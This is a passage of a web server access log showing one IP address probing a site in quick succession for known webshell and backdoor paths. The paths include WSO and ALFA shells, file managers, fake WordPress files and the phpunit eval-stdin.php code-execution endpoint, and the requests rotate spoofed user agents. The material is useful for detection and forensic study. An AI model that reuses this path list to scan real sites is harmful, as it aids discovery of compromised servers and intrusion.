-0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:38 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:39 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:40 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:41 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:41 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:41 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:41 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:41 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:42 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:43 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:43 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:43 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:43 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:44 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:45 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:46 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:47 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:48 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:49 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:49 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:49 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:50 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:51 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:52 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.36.48.76 - - [26/Apr/2025:04:50:53 -0400] "GET 